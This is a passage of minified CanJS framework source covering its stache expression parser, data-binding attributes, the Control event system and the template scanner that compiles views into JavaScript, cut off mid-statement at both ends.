s=o(t,e,n);return s.compute.computeInstance.hasDependencies?{value:s.compute,computeData:s}:{value:s.initialValue,computeData:s}},p=function(t,e,n,o){var p=s(t,e,n,o);if(void 0===p.computeData.initialValue){"@"===t.charAt(0)&&"@index"!==t&&(t=t.substr(1));var a=r.getHelper(t,n);p.helper=a&&a.fn}return p},a=function(t){return t instanceof h||t instanceof i||t instanceof c?t:new h(t)},i=function(t){this._value=t};i.prototype.value=function(){return this._value};var u=function(t,e){this.key=t,this.rootExpr=e};u.prototype.value=function(t,e){var r=p(this.key,t,e);return this.isHelper=r.helper&&!r.helper.callAsMethod,r.helper||r.value};var l=function(t,e){u.apply(this,arguments)};l.prototype.value=function(t,e){return s(this.key,t,e).value};var h=function(t,e){this.expr=t,this.modifiers=e||{},this.isCompute=!1};h.prototype.value=function(){return this.expr.value.apply(this.expr,arguments)};var c=function(t){this.hashExprs=t};c.prototype.value=function(){var e={};for(var r in this.hashExprs){var n=this.hashExprs[r],o=n.value.apply(n,arguments);e[r]={call:o&&o.isComputed&&(!n.modifiers||!n.modifiers.compute),value:o}}return t.compute(function(){var t={};for(var r in e)t[r]=e[r].call?e[r].value():e[r].value;return t})};var f=function(e,r,n){n&&!t.isEmptyObject(n)&&r.push(new c(n)),this.methodExpr=e,this.argExprs=t.map(r,a)};f.prototype.args=function(t,e){for(var r=[],n=0,o=this.argExprs.length;o>n;n++){var s=this.argExprs[n],p=s.value.apply(s,arguments);r.push({call:p&&p.isComputed&&(!s.modifiers||!s.modifiers.compute),value:p})}return function(){for(var t=[],e=0,n=r.length;n>e;e++)t[e]=r[e].call?r[e].value():r[e].value;return t}},f.prototype.value=function(e,r,n){var o=this.methodExpr.value(e,r);this.isHelper=this.methodExpr.isHelper;var s=this.args(e,r);return t.compute(function(t){var e=o;if(e&&e.isComputed&&(e=e()),"function"==typeof e){var r=s();return n&&r.push(n),arguments.length&&r.unshift(new w.SetIdentifier(t)),e.apply(null,r)}})};var d=function(){u.apply(this,arguments)};d.prototype.value=function(t,e){var r=p(this.key,t,e,{isArgument:!0,args:[t.attr("."),t]});return r.helper||r.value};var v=function(){u.apply(this,arguments)};v.prototype.value=function(t,e){return s(this.key,t,e,{callMethodsOnObservables:!0,isArgument:!0,args:[t.attr("."),t]}).value};var y=function(t,e,r){this.methodExpr=t,this.argExprs=e,this.hashExprs=r,this.mode=null};y.prototype.args=function(t,e){for(var r=[],n=0,o=this.argExprs.length;o>n;n++){var s=this.argExprs[n];r.push(s.value.apply(s,arguments))}return r},y.prototype.hash=function(t,e){var r={};for(var n in this.hashExprs){var o=this.hashExprs[n];r[n]=o.value.apply(o,arguments)}return r},y.prototype.helperAndValue=function(e,n){var s,p,a,u,l=this.argExprs.length||!t.isEmptyObject(this.hashExprs),h=this.methodExpr instanceof i?""+this.methodExpr._value:this.methodExpr.key;if(l){s=r.getHelper(h,n);var c=e.attr(".");s||"function"!=typeof c[h]||(s={fn:c[h]})}if(!s){u=this.args(e,n);var f=o(h,e,{isArgument:!1,args:u&&u.length?u:[e.attr("."),e]}),d=f.compute;a=f.initialValue,p=f.compute.computeInstance.hasDependencies?d:a,l||void 0!==a||(s=r.getHelper(h,n))}return{value:p,args:u,helper:s&&s.fn}},y.prototype.evaluator=function(r,n,o,s,p,a,i,u){var l={fn:function(){},inverse:function(){},stringOnly:u},h=n.attr("."),c=this.args(n,o,p,a,i,u),f=this.hash(n,o,p,a,i,u);return e.convertToScopes(l,n,o,p,a,i,u),t.simpleExtend(l,{context:h,scope:n,contexts:n,hash:f,nodeList:p,exprData:this,helperOptions:o,helpers:o}),c.push(l),function(){return r.apply(h,c)}},y.prototype.value=function(e,r,n,o,s,p){var a=this.helperAndValue(e,r),i=a.helper;if(!i)return a.value;var u=this.evaluator(i,e,r,n,o,s,p),l=t.compute(u);return t.compute.temporarilyBind(l),l.computeInstance.hasDependencies?l:l()};var m=/[\w\.\\\-_@\/\&%]+/,g=/('.*?'|".*?"|=|[\w\.\\\-_@\/*%\$:]+|[\(\)]|,|\~)/g,k=/^('.*?'|".*?"|[0-9]+\.?[0-9]*|true|false|null|undefined)$/,x=function(t){return m.test(t)},A=/^[\.@]\w/,H=function(t){return x(t)&&A.test(t)},E=function(t){return t.children||(t.children=[]),t},C=function(){this.root={children:[],type:"Root"},this.current=this.root,this.stack=[this.root]};t.simpleExtend(C.prototype,{top:function(){return t.last(this.stack)},isRootTop:function(){return this.top()===this.root},popTo:function(t){this.popUntil(t),this.isRootTop()||this.stack.pop()},firstParent:function(e){for(var r=this.stack.length-2;r>0&&-1===t.inArray(this.stack[r].type,e);)r--;return this.stack[r]},popUntil:function(e){for(;-1===t.inArray(this.top().type,e)&&!this.isRootTop();)this.stack.pop();return this.top()},addTo:function(t,e){var r=this.popUntil(t);E(r).children.push(e)},addToAndPush:function(t,e){this.addTo(t,e),this.stack.push(e)},topLastChild:function(){return t.last(this.top().children)},replaceTopLastChild:function(t){var e=E(this.top()).children;return e.pop(),e.push(t),t},replaceTopLastChildAndPush:function(t){this.replaceTopLastChild(t),this.stack.push(t)},replaceTopAndPush:function(t){var e;return this.top()===this.root?e=E(this.top()).children:(this.stack.pop(),e=E(this.top()).children),e.pop(),e.push(t),this.stack.push(t),t}});var T=function(t){var e=t.lastIndexOf("./"),r=t.lastIndexOf(".");if(r>e)return t.substr(0,r)+"@"+t.substr(r+1);var n=-1===e?0:e+2,o=t.charAt(n);return"."===o||"@"===o?t.substr(0,n)+"@"+t.substr(n+1):t.substr(0,n)+"@"+t.substr(n)},L=function(t){return"Lookup"===t.type&&(t.key=T(t.key)),t},R=function(t){var e=t.top();if(e&&"Lookup"===e.type){var r=t.stack[t.stack.length-2];"Helper"!==r.type&&r&&t.replaceTopAndPush({type:"Helper",method:e})}},w={convertKeyToLookup:T,Literal:i,Lookup:u,ScopeLookup:l,Arg:h,Hashes:c,Call:f,Helper:y,HelperLookup:d,HelperScopeLookup:v,SetIdentifier:function(t){this.value=t},tokenize:function(e){var r=[];return(t.trim(e)+" ").replace(g,function(t,e){r.push(e)}),r},lookupRules:{"default":function(t,e,r){var n=("Helper"!==e||t.root?"":"Helper")+(r?"Scope":"")+"Lookup";return w[n]},method:function(t,e,r){return l}},methodRules:{"default":function(t){return"Call"===t.type?f:y},call:function(t){return f}},parse:function(t,e){e=e||{};var r=this.ast(t);e.lookupRule||(e.lookupRule="default"),"string"==typeof e.lookupRule&&(e.lookupRule=w.lookupRules[e.lookupRule]),e.methodRule||(e.methodRule="default"),"string"==typeof e.methodRule&&(e.methodRule=w.methodRules[e.methodRule]);var n=this.hydrateAst(r,e,e.baseMethodType||"Helper");return n},hydrateAst:function(e,r,n,o){var s,p=this;if("Lookup"===e.type)return new(r.lookupRule(e,n,o))(e.key,e.root&&this.hydrateAst(e.root,r,n));if("Literal"===e.type)return new i(e.value);if("Arg"===e.type)return new h(this.hydrateAst(e.children[0],r,n,o),{compute:!0});if("Hashes"===e.type)return s={},t.each(e.children,function(t){s[t.prop]=p.hydrateAst(t.children[0],r,e.type,!0)}),new c(s);if("Hash"===e.type)throw new Error("");if("Call"===e.type||"Helper"===e.type){var a=[];return s={},t.each(e.children,function(t){"Hash"===t.type?s[t.prop]=p.hydrateAst(t.children[0],r,e.type,!0):a.push(p.hydrateAst(t,r,e.type,!0))}),new(r.methodRule(e))(this.hydrateAst(e.method,r,e.type),a,s)}},ast:function(t){var e=this.tokenize(t);return this.parseAst(e,{index:0})},parseAst:function(r,n){for(var o,s=new C;n.index<r.length;){var p=r[n.index],a=r[n.index+1];if(n.index++,k.test(p))R(s),s.addTo(["Helper","Call","Hash"],{type:"Literal",value:e.jsonParse(p)});else if("="===a){if(o=s.top(),o&&"Lookup"===o.type){var i=s.firstParent(["Call","Helper","Hash"]);("Call"===i.type||"Root"===i.type)&&(s.popUntil(["Call"]),o=s.top(),s.replaceTopAndPush({type:"Helper",method:"Root"===o.type?t.last(o.children):o}))}o=s.popUntil(["Helper","Call","Hashes"]),"Call"===o.type&&s.addToAndPush(["Call"],{type:"Hashes"}),s.addToAndPush(["Helper","Hashes"],{type:"Hash",prop:p}),n.index++}else if(m.test(p)){var u=s.topLastChild();u&&"Call"===u.type&&H(p)?s.replaceTopLastChildAndPush({type:"Lookup",root:u,key:p}):(R(s),s.addToAndPush(["Helper","Call","Hash","Arg"],{type:"Lookup",key:p}))}else if("~"===p)R(s),s.addToAndPush(["Helper","Call","Hash"],{type:"Arg",key:p});else if("("===p){if(o=s.top(),"Lookup"!==o.type)throw new Error("Unable to understand expression "+r.join(""));s.replaceTopAndPush({type:"Call",method:L(o)})}else")"===p?s.popTo(["Call"]):","===p&&s.popUntil(["Call"])}return s.root.children[0]}};return t.expression=w,w}); /*can/view/href/href*/ define("can/view/href/href",["can/util/util","can/view/stache/expression","can/view/callbacks/callbacks","can/view/scope/scope"],function(e,n){var t=function(e){return"{"===e[0]&&"}"===e[e.length-1]?e.substr(1,e.length-2):e};e.view.attr("can-href",function(c,r){var a=n.parse("tmp("+t(c.getAttribute("can-href"))+")",{baseMethodType:"Call"}),i=a.argExprs[0].value(r.scope,null),u=e.compute(function(){return e.route.url(i())});c.setAttribute("href",u());var l=function(e,n){c.setAttribute("href",n)};u.bind("change",l),e.bind.call(c,"removed",function(){u.unbind("change",l)})})}); /*can/view/bindings/bindings*/ define("can/view/bindings/bindings",["can/util/util","can/view/stache/expression","can/view/callbacks/callbacks","can/view/live/live","can/view/scope/scope","can/view/href/href"],function(e,t,n,a){var i={viewModel:function(t,n,a,i){i=i||{};var r,o={},l=[],c={},u={},s=e.extend({},i);e.each(e.makeArray(t.attributes),function(e){var a=d(e,t,{templateType:n.templateType,scope:n.scope,semaphore:o,getViewModel:function(){return r},attributeViewModelBindings:s,alreadyUpdatedChild:!0,nodeList:n.parentNodeList});a&&(a.onCompleteBinding&&(a.bindingInfo.parentToChild&&void 0!==a.value&&(i[b(a.bindingInfo.childName)]=a.value),l.push(a.onCompleteBinding)),c[e.name]=a.onTeardown)}),r=a(i);for(var p=0,v=l.length;v>p;p++)l[p]();return e.bind.call(t,"attributes",function(e){var a=e.attributeName,i=t.getAttribute(a);c[a]&&c[a]();var o=u[a]&&"attribute"===u[a].parent;if(null!==i||o){var l=d({name:a,value:i},t,{templateType:n.templateType,scope:n.scope,semaphore:{},getViewModel:function(){return r},attributeViewModelBindings:s,initializeValues:!0,nodeList:n.parentNodeList});l&&(l.onCompleteBinding&&l.onCompleteBinding(),u[a]=l.bindingInfo,c[a]=l.onTeardown)}}),function(){for(var e in c)c[e]()}},data:function(t,n){if(!e.data(e.$(t),"preventDataBindings")){var a,i=e.viewModel(t),r={},o=d({name:n.attributeName,value:t.getAttribute(n.attributeName),nodeList:n.nodeList},t,{templateType:n.templateType,scope:n.scope,semaphore:r,getViewModel:function(){return i}});o.onCompleteBinding&&o.onCompleteBinding(),a=o.onTeardown,e.one.call(t,"removed",function(){a()}),e.bind.call(t,"attributes",function(e){var o=e.attributeName,l=t.getAttribute(o);if(o===n.attributeName&&(a&&a(),null!==l)){var c=d({name:o,value:l},t,{templateType:n.templateType,scope:n.scope,semaphore:r,getViewModel:function(){return i},initializeValues:!0,nodeList:n.nodeList});c&&(c.onCompleteBinding&&c.onCompleteBinding(),a=c.onTeardown)}})}},reference:function(t,n){t.getAttribute(n.attributeName)&&console.warn("*reference attributes can only export the view model.");var a=e.camelize(n.attributeName.substr(1).toLowerCase()),i=e.viewModel(t),r=n.scope.getRefs();r._context.attr("*"+a,i)},event:function(n,a){var i=a.attributeName,r=0===i.indexOf("can-"),o=0===i.indexOf("can-")?i.substr("can-".length):e.camelize(f(i,"(",")")),l=r;"$"===o.charAt(0)&&(o=o.substr(1),l=!0);var c=function(r){var o=n.getAttribute(i);if(o){var l=e.$(n),c=e.viewModel(l[0]),u=t.parse(f(o),{lookupRule:"method",methodRule:"call"});if(!(u instanceof t.Call||u instanceof t.Helper)){var d=e.map([a.scope._context,l].concat(e.makeArray(arguments)),function(e){return new t.Literal(e)});u=new t.Call(u,d,{})}var s=a.scope.read(u.methodExpr.key,{isArgument:!0});if(!s.value)return s=a.scope.read(u.methodExpr.key,{isArgument:!0}),null;var p=a.scope.add({"@element":l,"@event":r,"@viewModel":c,"@scope":a.scope,"@context":a.scope._context,"%element":this,$element:l,"%event":r,"%viewModel":c,"%scope":a.scope,"%context":a.scope._context},{notContext:!0}),v=u.args(p,null)();return s.value.apply(s.parent,v)}};if(g[o]){var u=g[o](a,n,c);c=u.handler,o=u.event}e.bind.call(l?n:e.viewModel(n),o,c);var d=function(t){t.attributeName!==i||this.getAttribute(i)||(e.unbind.call(l?n:e.viewModel(n),o,c),e.unbind.call(n,"attributes",d))};e.bind.call(n,"attributes",d)},value:function(t,n){var a,i="$value",o=e.trim(f(t.getAttribute("can-value")));if("input"!==t.nodeName.toLowerCase()||"checkbox"!==t.type&&"radio"!==t.type)v(t)&&(i="$innerHTML");else{var l=r.scope(t,n.scope,o,{},!0);if("checkbox"===t.type){var c=e.attr.has(t,"can-true-value")?t.getAttribute("can-true-value"):!0,u=e.attr.has(t,"can-false-value")?t.getAttribute("can-false-value"):!1;a=e.compute(function(e){return arguments.length?void l(e?c:u):l()==c})}else"radio"===t.type&&(a=e.compute(function(e){return arguments.length?void(e&&l(t.value)):l()==t.value}));i="$checked",o="getterSetter",n.scope=new e.view.Scope({getterSetter:a})}var s=d({name:"{("+i+"})",value:o},t,{templateType:n.templateType,scope:n.scope,semaphore:{},initializeValues:!0,legacyBindings:!0,syncChildWithParent:!0});e.one.call(t,"removed",function(){s.onTeardown()})}};e.view.attr(/^\{[^\}]+\}$/,i.data),e.view.attr(/\*[\w\.\-_]+/,i.reference),e.view.attr(/^\([\$?\w\.\-]+\)$/,i.event),e.view.attr(/can-[\w\.]+/,i.event),e.view.attr("can-value",i.value);var r={scope:function(n,a,i,r,o,l){if(i){if(o){var c=t.parse(i,{baseMethodType:"Call"});return c.value(a,new e.view.Options({}))}return function(e){a.attr(b(i),e)}}return e.compute()},viewModel:function(t,n,a,i,r,o){var l=b(a);return r?e.compute(function(t){var n=i.getViewModel();return arguments.length?void n.attr(l,t):"."===a?n:e.compute.read(n,e.compute.read.reads(a),{}).value}):function(e){i.getViewModel().attr(l,e)}},attribute:function(t,n,a,i,r,o,l){var c,u,d,s,p,v="select"===t.nodeName.toLowerCase(),f="value"===a&&v&&t.multiple,m=!1;l||(l="innerHTML"===a?["blur","change"]:"change"),e.isArray(l)||(l=[l]);var h=function(n){if(v&&!m&&(clearTimeout(d),d=setTimeout(function(){h(n)},1)),u=n,f){n&&"string"==typeof n?(n=n.split(";"),c=!0):n=n?e.makeArray(n):[];var r={};e.each(n,function(e){r[e]=!0}),e.each(t.childNodes,function(e){e.value&&(e.selected=!!r[e.value])})}else!i.legacyBindings&&v&&"selectedIndex"in t&&"value"===a?e.attr.setSelectValue(t,n):e.attr.setAttrOrProp(t,a,null==n?"":n);return n},b=function(){if(f){var n=[],i=t.childNodes;return e.each(i,function(e){e.selected&&e.value&&n.push(e.value)}),c?n.join(";"):n}return v&&"selectedIndex"in t&&-1===t.selectedIndex?void 0:e.attr.get(t,a)};v&&setTimeout(function(){m=!0},1),t.tagName&&"input"===t.tagName.toLowerCase()&&t.form&&(s=[{el:t.form,eventName:"reset",handler:function(){h(p)}}]);var g;return p=b(),e.compute(p,{on:function(n){if(e.each(l,function(a){e.bind.call(t,a,n)}),e.each(s,function(t){e.bind.call(t.el,t.eventName,t.handler)}),v){var a=function(e){o&&h(o()),n()};e.attr.MutationObserver?(g=new e.attr.MutationObserver(a),g.observe(t,{childList:!0,subtree:!0})):e.data(e.$(t),"canBindingCallback",{onMutation:a})}},off:function(n){e.each(l,function(a){e.unbind.call(t,a,n)}),e.each(s,function(t){e.unbind.call(t.el,t.eventName,t.handler)}),v&&(e.attr.MutationObserver?g.disconnect():e.data(e.$(t),"canBindingCallback",null))},get:b,set:h})}},o={childToParent:function(t,n,a,i,r,o){var l="function"==typeof n,c=function(t,c){i[r]||(l?(n(c),o&&n()!==a()&&(i[r]=(i[r]||0)+1,e.batch.start(),a(n()),e.batch.after(function(){--i[r]}),e.batch.stop())):n instanceof e.Map&&n.attr(c,!0))};return a&&a.isComputed&&a.bind("change",c),c},parentToChild:function(t,n,a,i,r){var o=function(t,n){i[r]=(i[r]||0)+1,e.batch.start(),a(n),e.batch.after(function(){--i[r]}),e.batch.stop()};return n&&n.isComputed&&n.bind("change",o),o}},l=function(t,a,i,r){var o=t.name,l=t.value||"",d=o.match(c);if(!d){var s=u.test(o),p=e.camelize(o);if(s||n.attr(o))return;var v="{"===l[0]&&"}"===e.last(l),f="legacy"===i?a[p]:!v,m=v?l.substr(1,l.length-2):l;return f?{bindingAttributeName:o,parent:"attribute",parentName:o,child:"viewModel",childName:p,parentToChild:!0,childToParent:!0}:{bindingAttributeName:o,parent:"scope",parentName:m,child:"viewModel",childName:p,parentToChild:!0,childToParent:!0}}var h=!!d[1],b=h||!!d[2],g=h||!b,w=d[3],C="$"===w.charAt(0);if(C){var T={parent:"scope",child:"attribute",childToParent:b,parentToChild:g,bindingAttributeName:o,childName:w.substr(1),parentName:l,initializeValues:!0};return"select"===r&&(T.stickyParentToChild=!0),T}return{parent:"scope",child:"viewModel",childToParent:b,parentToChild:g,bindingAttributeName:o,childName:e.camelize(w),parentName:l,initializeValues:!0}},c=/\{(\()?(\^)?([^\}\)]+)\)?\}/,u=/^(data-view-id|class|id|\[[\w\.-]+\]|#[\w\.-])$/i,d=function(t,n,a){var i=l(t,a.attributeViewModelBindings,a.templateType,n.nodeName.toLowerCase());if(i){i.alreadyUpdatedChild=a.alreadyUpdatedChild,a.initializeValues&&(i.initializeValues=!0);var c,u,d,p=r[i.parent](n,a.scope,i.parentName,a,i.parentToChild),v=r[i.child](n,a.scope,i.childName,a,i.childToParent,i.stickyParentToChild&&p);a.nodeList&&(p&&p.isComputed&&p.computeInstance.setPrimaryDepth(a.nodeList.nesting+1),v&&v.isComputed&&v.computeInstance.setPrimaryDepth(a.nodeList.nesting+1)),i.parentToChild&&(u=o.parentToChild(n,p,v,a.semaphore,i.bindingAttributeName));var f=function(){i.childToParent?c=o.childToParent(n,p,v,a.semaphore,i.bindingAttributeName,a.syncChildWithParent):i.stickyParentToChild&&v.bind("change",d=e.k),i.initializeValues&&s(i,v,p,u,c)},b=function(){h(p,u),h(v,c),h(v,d)};return"viewModel"===i.child?{value:m(p),onCompleteBinding:f,bindingInfo:i,onTeardown:b}:(f(),{bindingInfo:i,onTeardown:b})}},s=function(e,t,n,a,i){var r=!1;e.parentToChild&&!e.childToParent||(!e.parentToChild&&e.childToParent?r=!0:void 0===m(t)||void 0===m(n)&&(r=!0)),r?i({},m(t)):e.alreadyUpdatedChild||a({},m(n))};if(!e.attr.MutationObserver){var p=function(t){var n=e.data(e.$(t),"canBindingCallback");n&&n.onMutation(t)};a.registerChildMutationCallback("select",p),a.registerChildMutationCallback("optgroup",function(e){p(e.parentNode)})}var v=function(){var e={"":!0,"true":!0,"false":!1},t=function(t){if(t&&t.getAttribute){var n=t.getAttribute("contenteditable");return e[n]}};return function(e){var n=t(e);return"boolean"==typeof n?n:!!t(e.parentNode)}}(),f=function(e,t,n){return t=t||"{",n=n||"}",e[0]===t&&e[e.length-1]===n?e.substr(1,e.length-2):e},m=function(e){return e&&e.isComputed?e():e},h=function(e,t){e&&e.isComputed&&"function"==typeof t&&e.unbind("change",t)},b=function(e){return e.replace(/@/g,"")},g={enter:function(e,t,n){return{event:"keyup",handler:function(e){return 13===e.keyCode?n.call(this,e):void 0}}}};return e.bindings={behaviors:i,getBindingInfo:l,special:g},e.bindings}); /*can/control/control*/ define("can/control/control",["can/util/util","can/construct/construct"],function(t){var n,e=function(n,e,o){return t.bind.call(n,e,o),function(){t.unbind.call(n,e,o)}},o=t.isFunction,s=t.extend,r=t.each,i=[].slice,u=/\{([^\}]+)\}/g,c=t.getObject("$.event.special",[t])||{},l=function(n,e,o,s){return t.delegate.call(n,e,o,s),function(){t.undelegate.call(n,e,o,s)}},a=function(n,o,s,r){return r?l(n,t.trim(r),o,s):e(n,o,s)},h=t.Control=t.Construct({setup:function(){if(t.Construct.setup.apply(this,arguments),t.Control){var n,e=this;e.actions={};for(n in e.prototype)e._isAction(n)&&(e.actions[n]=e._action(n))}},_shifter:function(n,e){var s="string"==typeof e?n[e]:e;return o(s)||(s=n[s]),function(){return n.called=e,s.apply(n,[this.nodeName?t.$(this):this].concat(i.call(arguments,0)))}},_isAction:function(t){var n=this.prototype[t],e=typeof n;return"constructor"!==t&&("function"===e||"string"===e&&o(this.prototype[n]))&&!!(c[t]||f[t]||/[^\w]/.test(t))},_action:function(e,o){if(u.lastIndex=0,o||!u.test(e)){var s=o?t.sub(e,this._lookup(o)):e;if(!s)return null;var r=t.isArray(s),i=r?s[1]:s,c=i.split(/\s+/g),l=c.pop();return{processor:f[l]||n,parts:[i,c.join(" "),l],delegate:r?s[0]:void 0}}},_lookup:function(t){return[t,window]},processors:{},defaults:{}},{setup:function(n,e){var o,r=this.constructor,i=r.pluginName||r._fullName;return this.element=t.$(n),i&&"can_control"!==i&&this.element.addClass(i),o=t.data(this.element,"controls"),o||(o=[],t.data(this.element,"controls",o)),o.push(this),this.options=s({},r.defaults,e),this.on(),[this.element,this.options]},on:function(n,e,o,s){if(!n){this.off();var r,i,u=this.constructor,c=this._bindings,l=u.actions,h=this.element,f=t.Control._shifter(this,"destroy");for(r in l)l.hasOwnProperty(r)&&(i=l[r]||u._action(r,this.options,this),i&&(c.control[r]=i.processor(i.delegate||h,i.parts[2],i.parts[1],r,this)));return t.bind.call(h,"removed",f),c.user.push(function(n){t.unbind.call(n,"removed",f)}),c.user.length}return"string"==typeof n&&(s=o,o=e,e=n,n=this.element),void 0===s&&(s=o,o=e,e=null),"string"==typeof s&&(s=t.Control._shifter(this,s)),this._bindings.user.push(a(n,o,s,e)),this._bindings.user.length},off:function(){var t=this.element[0],n=this._bindings;n&&(r(n.user||[],function(n){n(t)}),r(n.control||{},function(n){n(t)})),this._bindings={user:[],control:{}}},destroy:function(){if(null!==this.element){var n,e=this.constructor,o=e.pluginName||e._fullName;this.off(),o&&"can_control"!==o&&this.element.removeClass(o),n=t.data(this.element,"controls"),n.splice(t.inArray(this,n),1),t.trigger(this,"destroyed"),this.element=null}}}),f=t.Control.processors;return n=function(n,e,o,s,r){return a(n,e,t.Control._shifter(r,s),o)},r(["change","click","contextmenu","dblclick","keydown","keyup","keypress","mousedown","mousemove","mouseout","mouseover","mouseup","reset","resize","scroll","select","submit","focusin","focusout","mouseenter","mouseleave","touchstart","touchmove","touchcancel","touchend","touchleave","inserted","removed","dragstart","dragenter","dragover","dragleave","drag","drop","dragend"],function(t){f[t]=n}),h}); /*can/observe/observe*/ define("can/observe/observe",["can/util/util","can/map/map","can/list/list","can/compute/compute"],function(t){return t.Observe=t.Map,t.Observe.startBatch=t.batch.start,t.Observe.stopBatch=t.batch.stop,t.Observe.triggerBatch=t.batch.trigger,t}); /*can/view/scanner*/ define("can/view/scanner",["can/view/view","can/view/elements","can/view/callbacks/callbacks"],function(can,elements,viewCallbacks){var newLine=/(\r|\n)+/g,notEndTag=/\//,clean=function(t){return t.split("\\").join("\\\\").split("\n").join("\\n").split('"').join('\\"').split(" ").join("\\t")},getTag=function(t,e,n){if(t)return t;for(;n<e.length;){if("<"===e[n]&&!notEndTag.test(e[n+1]))return elements.reverseTagMap[e[n+1]]||"span";n++}return""},bracketNum=function(t){return--t.split("{").length- --t.split("}").length},myEval=function(script){eval(script)},attrReg=/([^\s]+)[\s]*=[\s]*$/,startTxt="var ___v1ew = [];",finishTxt="return ___v1ew.join('')",put_cmd="___v1ew.push(\n",insert_cmd=put_cmd,htmlTag=null,quote=null,beforeQuote=null,rescan=null,getAttrName=function(){var t=beforeQuote.match(attrReg);return t&&t[1]},status=function(){return quote?"'"+getAttrName()+"'":htmlTag?1:0},top=function(t){return t[t.length-1]},Scanner;return can.view.Scanner=Scanner=function(t){can.extend(this,{text:{},tokens:[]},t),this.text.options=this.text.options||"",this.tokenReg=[],this.tokenSimple={"<":"<",">":">",'"':'"',"'":"'"},this.tokenComplex=[],this.tokenMap={};for(var e,n=0;e=this.tokens[n];n++)e[2]?(this.tokenReg.push(e[2]),this.tokenComplex.push({abbr:e[1],re:new RegExp(e[2]),rescan:e[3]})):(this.tokenReg.push(e[1]),this.tokenSimple[e[1]]=e[0]),this.tokenMap[e[0]]=e[1];this.tokenReg=new RegExp("("+this.tokenReg.slice(0).concat(["<",">",'"',"'"]).join("|")+")","g")},Scanner.prototype={helpers:[],scan:function(t,e){var n=[],s=0,a=this.tokenSimple,r=this.tokenComplex;t=t.replace(newLine,"\n"),this.transform&&(t=this.transform(t)),t.replace(this.tokenReg,function(e,i){var o=arguments[arguments.length-2];if(o>s&&n.push(t.substring(s,o)),a[e])n.push(e);else for(var u,c=0;u=r[c];c++)if(u.re.test(e)){n.push(u.abbr),u.rescan&&n.push(u.rescan(i));break}s=o+i.length}),s<t.length&&n.push(t.substr(s));var i,o,u,c,l="",p=[startTxt+(this.text.start||"")],h=function(t,e){p.push(put_cmd,'"',clean(t),'"'+(e||"")+");")},g=[],f=null,m=!1,k={attributeHookups:[],tagHookups:[],lastTagHookup:""},b=function(){k.lastTagHookup=k.tagHookups.pop()+k.tagHookups.length},v="",x=[],w=!1,T=!1,d=0,_=this.tokenMap;for(htmlTag=quote=beforeQuote=null;void 0!==(u=n[d++]);){if(null===f)switch(u){case _.left:case _.escapeLeft:case _.returnLeft:m=htmlTag&&1;case _.commentLeft:f=u,l.length&&h(l),l="";break;case _.escapeFull:m=htmlTag&&1,rescan=1,f=_.escapeLeft,l.length&&h(l),rescan=n[d++],l=rescan.content||rescan,rescan.before&&h(rescan.before),n.splice(d,0,_.right);break;case _.commentFull:break;case _.templateLeft:l+=_.left;break;case"<":0!==n[d].indexOf("!--")&&(htmlTag=1,m=0),l+=u;break;case">":htmlTag=0;var H="/"===l.substr(l.length-1)||"--"===l.substr(l.length-2),N="";if(k.attributeHookups.length&&(N="attrs: ['"+k.attributeHookups.join("','")+"'], ",k.attributeHookups=[]),v+k.tagHookups.length!==k.lastTagHookup&&v===top(k.tagHookups))H&&(l=l.substr(0,l.length-1)),p.push(put_cmd,'"',clean(l),'"',",can.view.pending({tagName:'"+v+"',"+N+"scope: "+(this.text.scope||"this")+this.text.options),H?(p.push("}));"),l="/>",b()):"<"===n[d]&&n[d+1]==="/"+v?(p.push("}));"),l=u,b()):(p.push(",subtemplate: function("+this.text.argNames+"){\n"+startTxt+(this.text.start||"")),l="");else if(m||!w&&elements.tagToContentPropMap[x[x.length-1]]||N){var R=",can.view.pending({"+N+"scope: "+(this.text.scope||"this")+this.text.options+'}),"';H?h(l.substr(0,l.length-1),R+'/>"'):h(l,R+'>"'),l="",m=0}else l+=u;(H||w)&&(x.pop(),v=x[x.length-1],w=!1),k.attributeHookups=[];break;case"'":case'"':if(htmlTag)if(quote&&quote===u){quote=null;var L=getAttrName();if(viewCallbacks.attr(L)&&k.attributeHookups.push(L),T){l+=u,h(l),p.push(finishTxt,"}));\n"),l="",T=!1;break}}else if(null===quote&&(quote=u,beforeQuote=i,c=getAttrName(),"img"===v&&"src"===c||"style"===c)){h(l.replace(attrReg,"")),l="",T=!0,p.push(insert_cmd,"can.view.txt(2,'"+getTag(v,n,d)+"',"+status()+",this,function(){",startTxt),h(c+"="+u);break}default:if("<"===i){v="!--"===u.substr(0,3)?"!--":u.split(/\s/)[0];var S,y=!1;0===v.indexOf("/")&&(y=!0,S=v.substr(1)),y?(top(x)===S&&(v=S,w=!0),top(k.tagHookups)===S&&(h(l.substr(0,l.length-1)),p.push(finishTxt+"}}) );"),l="><",b())):(v.lastIndexOf("/")===v.length-1&&(v=v.substr(0,v.length-1)),"!--"!==v&&viewCallbacks.tag(v)&&("content"===v&&elements.tagMap[top(x)]&&(u=u.replace("content",elements.tagMap[top(x)])),k.tagHookups.push(v)),x.push(v))}l+=u}else switch(u){case _.right:case _.returnRight:switch(f){case _.left:o=bracketNum(l),1===o?(p.push(insert_cmd,"can.view.txt(0,'"+getTag(v,n,d)+"',"+status()+",this,function(){",startTxt,l),g.push({before:"",after:finishTxt+"}));\n"})):(s=g.length&&-1===o?g.pop():{after:";"},s.before&&p.push(s.before),p.push(l,";",s.after));break;case _.escapeLeft:case _.returnLeft:o=bracketNum(l),o&&g.push({before:finishTxt,after:"}));\n"});for(var j=f===_.escapeLeft?1:0,C={insert:insert_cmd,tagName:getTag(v,n,d),status:status(),specialAttribute:T},q=0;q<this.helpers.length;q++){var E=this.helpers[q];if(E.name.test(l)){l=E.fn(l,C),E.name.source===/^>[\s]*\w*/.source&&(j=0);break}}"object"==typeof l?l.startTxt&&l.end&&T?p.push(insert_cmd,"can.view.toStr( ",l.content,"() ) );"):(l.startTxt?p.push(insert_cmd,"can.view.txt(\n"+("string"==typeof status()||(null!=l.escaped?l.escaped:j))+",\n'"+v+"',\n"+status()+",\nthis,\n"):l.startOnlyTxt&&p.push(insert_cmd,"can.view.onlytxt(this,\n"),p.push(l.content),l.end&&p.push("));")):T?p.push(insert_cmd,l,");"):p.push(insert_cmd,"can.view.txt(\n"+("string"==typeof status()||j)+",\n'"+v+"',\n"+status()+",\nthis,\nfunction(){ "+(this.text.escape||"")+"return ",l,o?startTxt:"}));\n"),rescan&&rescan.after&&rescan.after.length&&(h(rescan.after.length),rescan=null)}f=null,l="";break;case _.templateLeft:l+=_.left;break;default:l+=u}i=u}l.length&&h(l),p.push(";");var M=p.join(""),A={out:(this.text.outStart||"")+M+" "+finishTxt+(this.text.outEnd||"")};return myEval.call(A,"this.fn = 